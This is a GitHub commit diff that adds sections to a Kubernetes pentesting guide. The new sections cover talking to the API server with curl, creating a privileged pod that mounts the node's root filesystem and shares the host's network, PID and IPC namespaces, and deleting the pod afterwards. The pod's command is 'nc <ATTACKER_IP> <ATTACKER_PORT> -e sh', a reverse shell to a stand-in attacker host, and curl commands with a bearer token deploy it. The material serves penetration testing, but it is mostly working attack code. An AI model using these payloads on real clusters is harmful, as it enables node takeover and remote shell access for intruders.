Skip to content

Commit 003022d

Browse files
authored
Added scripts for creating & deleting K8s pods with curl
1 parent 6234266 commit 003022d

File tree

1 file changed

+75
-0
lines changed

1 file changed

+75
-0
lines changed

src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -535,6 +535,10 @@ k top pod --all-namespaces
535535
{{#endtab }}
536536
{{#endtabs }}
537537

538+
## Interacting with the cluster without using kubectl
539+
540+
Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
541+
538542
### Escaping from the pod
539543

540544
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,77 @@ chroot /root /bin/bash
603607

604608
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
605609

610+
### Creating a privileged pod
611+
612+
The corresponding yaml file is as follows:
613+
614+
```yaml
615+
apiVersion: v1
616+
kind: Pod
617+
metadata:
618+
name: everything-allowed-exec-pod
619+
labels:
620+
app: pentest
621+
spec:
622+
hostNetwork: true
623+
hostPID: true
624+
hostIPC: true
625+
containers:
626+
- name: everything-allowed-pod
627+
image: alpine
628+
securityContext:
629+
privileged: true
630+
volumeMounts:
631+
- mountPath: /host
632+
name: noderoot
633+
command: [ "/bin/sh", "-c", "--" ]
634+
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
635+
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
636+
volumes:
637+
- name: noderoot
638+
hostPath:
639+
path: /
640+
```
641+
642+
Create the pod with curl:
643+
644+
```bash
645+
CONTROL_PLANE_HOST=""
646+
TOKEN=""
647+
648+
curl --path-as-is -i -s -k -X $'POST' \
649+
-H "Host: $CONTROL_PLANE_HOST" \
650+
-H "Authorization: Bearer $TOKEN" \
651+
-H $'Accept: application/json' \
652+
-H $'Content-Type: application/json' \
653+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
654+
-H $'Content-Length: 478' \
655+
-H $'Accept-Encoding: gzip, deflate, br' \
656+
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
657+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
658+
```
659+
660+
### Delete a pod
661+
662+
Delete a pod with curl:
663+
664+
```bash
665+
CONTROL_PLANE_HOST=""
666+
TOKEN=""
667+
POD_NAME="everything-allowed-exec-pod"
668+
669+
curl --path-as-is -i -s -k -X $'DELETE' \
670+
-H "Host: $CONTROL_PLANE_HOST" \
671+
-H "Authorization: Bearer $TOKEN" \
672+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
673+
-H $'Accept: application/json' \
674+
-H $'Content-Type: application/json' \
675+
-H $'Content-Length: 35' \
676+
-H $'Accept-Encoding: gzip, deflate, br' \
677+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
678+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
679+
```
680+
606681
## References
607682

608683
{{#ref}}

0 commit comments

Comments
 (0)